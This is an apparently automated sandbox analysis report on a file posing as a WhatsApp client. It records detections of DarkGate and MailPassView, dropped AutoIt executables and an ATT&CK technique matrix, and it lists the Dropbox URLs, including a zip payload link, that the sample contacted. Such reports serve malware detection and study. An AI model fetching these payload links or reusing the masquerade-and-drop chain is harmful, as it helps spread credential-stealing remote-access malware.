Source: Yara match	File source: 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042583535.0000000003F48000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4180519040.00000000048D8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1966048662.0000000003BC8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1834927328.0000000005380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UpdaterService.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Autoit3.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Autoit3.exe PID: 8092, type: MEMORYSTR

Yara detected MailPassView

Source: Yara match	File source: 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UpdaterService.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Autoit3.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Autoit3.exe PID: 8092, type: MEMORYSTR

Source: Autoit3.exe	Binary or memory string: WIN_81
Source: Autoit3.exe	Binary or memory string: WIN_XP
Source: Autoit3.exe	Binary or memory string: WIN_XPe
Source: Autoit3.exe	Binary or memory string: WIN_VISTA
Source: Autoit3.exe	Binary or memory string: WIN_7
Source: Autoit3.exe	Binary or memory string: WIN_8
Source: Autoit3.exe.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Yara detected DarkGate

Source: Yara match	File source: 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042583535.0000000003F48000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4180519040.00000000048D8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1966048662.0000000003BC8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1834927328.0000000005380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UpdaterService.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Autoit3.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Autoit3.exe PID: 8092, type: MEMORYSTR

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008B696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	9_2_008B696E
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008B6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	9_2_008B6E32
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B7CCB4 bind,	9_2_03B7CCB4

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 Create Account	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 Timestomp	NTDS	66 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	1 DLL Side-Loading	LSA Secrets	261 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 Masquerading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Whatsapp-GUI.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\ProgramData\Updater\Autoit3.exe	3%	ReversingLabs
C:\ProgramData\Updater\UpdaterService.exe (copy)	3%	ReversingLabs
C:\ProgramData\bfadeeb\Autoit3.exe	3%	ReversingLabs

Source	Detection	Scanner	Label
http://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
http://www-env.dropbox-dns.comd	0%	Avira URL Cloud	safe
http://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.comd	0%	Avira URL Cloud	safe
http://www.dropbox.comd	0%	Avira URL Cloud	safe
http://edge-block-www-env.dropbox-dns.comd	0%	Avira URL Cloud	safe
https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com/cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaR	0%	Avira URL Cloud	safe
https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com/cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaRtcuJOWChtI4oI_IO-iZv269CfxhkilF-WtkOCcdh8c7d93PYDN0k0DcKMvPxLoKphjBoA3rflRmA4QtzBFtmlD_AJp1UAF2wu1bF6co5hky9EnI2u1tSqJuIGcJf/file?dl=1	0%	Avira URL Cloud	safe
https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/scl/fi/puclhgu65e9r37o3vcp9m/yutighh.zip?rlkey=csgz30n1xx1twdk9ue4m4p16s&st=nll27ti7&dl=1	false		high
https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com/cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaRtcuJOWChtI4oI_IO-iZv269CfxhkilF-WtkOCcdh8c7d93PYDN0k0DcKMvPxLoKphjBoA3rflRmA4QtzBFtmlD_AJp1UAF2wu1bF6co5hky9EnI2u1tSqJuIGcJf/file?dl=1	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/service_worker.js	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/PW	Whatsapp-GUI.exe, 00000000.00000002.1821852634.0000000008A5C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pal-test.adyen.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.dropbox.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellosign.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellosign.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/autoit3/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	false		high
https://www.dropbox.com/page_success/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/pithos/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.dropbox.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.docsend.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www-env.dropbox-dns.comd	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/encrypted_folder_download/service_worker.js	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navi.dropbox.jp/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/api/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docsend.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000000.1789844596.00000000000F9000.00000002.00000001.01000000.0000000C.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000000.1935094636.0000000000909000.00000002.00000001.01000000.0000000F.sdmp, Autoit3.exe, 0000000A.00000000.2015835231.0000000000909000.00000002.00000001.01000000.0000000F.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://showcase.dropbox.com/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/serviceworker/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.comd	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/scl/fi/puclhgu65e9r37o3vcp9m/yutighh.zip?rlkey=csgz30n1xx1twdk9ue4m4p16s&st=	Whatsapp-GUI.exe	false		high
http://www.dropbox.comd	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/v/s/playlist/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www-env.dropbox-dns.com	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/spreadsheets/fsip/	Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	false		high
